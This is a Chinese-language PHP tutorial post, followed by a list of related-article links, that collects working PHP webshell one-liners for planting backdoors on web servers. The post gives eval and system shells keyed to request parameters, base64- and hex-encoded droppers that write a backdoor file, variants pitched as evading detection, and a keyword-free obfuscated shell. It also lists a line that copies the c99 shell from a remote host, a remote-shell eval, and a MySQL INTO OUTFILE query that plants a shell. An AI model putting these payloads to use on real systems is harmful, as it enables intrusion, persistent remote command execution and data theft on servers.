PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
在IIS7.0下面配置PHP 5.3.2运行环境的方法
Apr 13 PHP
php写的简易聊天室代码
Jun 04 PHP
php将时间差转换为字符串提示
Sep 07 PHP
PHP常用的文件操作函数经典收藏
Apr 02 PHP
PHP多例模式介绍
Jun 24 PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 PHP
PHP合并数组的2种方法小结
Nov 24 PHP
php+js实现百度地图多点标注的方法
Nov 30 PHP
Laravel5.5 手动分页和自定义分页样式的简单实现
Oct 15 PHP
php7 图形用户界面GUI 开发示例
Feb 22 PHP
php设计模式之观察者模式实例详解【星际争霸游戏案例】
Mar 30 PHP
eval(cmd)与eval($cmd)的区别与联系
Jul 07 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
php DOS攻击实现代码(附如何防范)
2012/05/29 PHP
php计算程序运行时间的简单例子分享
2014/05/10 PHP
浅谈php扩展imagick
2014/06/02 PHP
PHP+MYSQL会员系统的开发实例教程
2014/08/23 PHP
Zend Framework基于Command命令行建立ZF项目的方法
2017/02/18 PHP
PHP基于redis计数器类定义与用法示例
2018/02/08 PHP
基于PHP实现微信小程序客服消息功能
2019/08/12 PHP
PHP如何使用JWT做Api接口身份认证的实现
2020/02/03 PHP
用javascript实现的仿Flash广告图片轮换效果
2007/04/24 Javascript
Jquery选中或取消radio示例
2013/09/29 Javascript
让JavaScript和其它资源并发下载的方法
2014/10/16 Javascript
html5+javascript实现简单上传的注意细节
2016/04/18 Javascript
easyui tree带checkbox实现单选的简单实例
2016/11/07 Javascript
JavaScript实现带有子菜单和控件的slider轮播图效果
2017/11/01 Javascript
layui中table表头样式修改方法
2018/08/15 Javascript
JS数组实现分类统计实例代码
2018/09/30 Javascript
vue表单验证之禁止input输入框输入空格
2020/12/03 Vue.js
python文件读写操作与linux shell变量命令交互执行的方法
2015/01/14 Python
Python中使用tarfile压缩、解压tar归档文件示例
2015/04/05 Python
python和flask中返回JSON数据的方法
2018/03/26 Python
Windows下PyCharm安装图文教程
2018/08/27 Python
Selenium定时刷新网页的实现代码
2018/10/31 Python
python使用MQTT给硬件传输图片的实现方法
2019/05/05 Python
python之当你发现QTimer不能用时的解决方法
2019/06/21 Python
python list转置和前后反转的例子
2019/08/26 Python
Python手绘可视化工具cutecharts使用实例
2019/12/05 Python
Django缓存Cache使用详解
2020/11/30 Python
HTML5 Canvas 起步(2) - 路径
2009/05/12 HTML / CSS
Jimmy Choo美国官网:周仰杰鞋子品牌
2018/06/08 全球购物
武汉某公司的C#笔试题面试题
2015/12/25 面试题
Python是如何进行类型转换的
2013/06/09 面试题
客服文员岗位职责
2013/11/29 职场文书
领导干部贪图享乐整改措施
2014/09/21 职场文书
护理工作个人总结
2015/03/03 职场文书
2019年鼓励无偿献血倡议书
2019/09/17 职场文书
python解决12306登录验证码的实现
2021/04/18 Python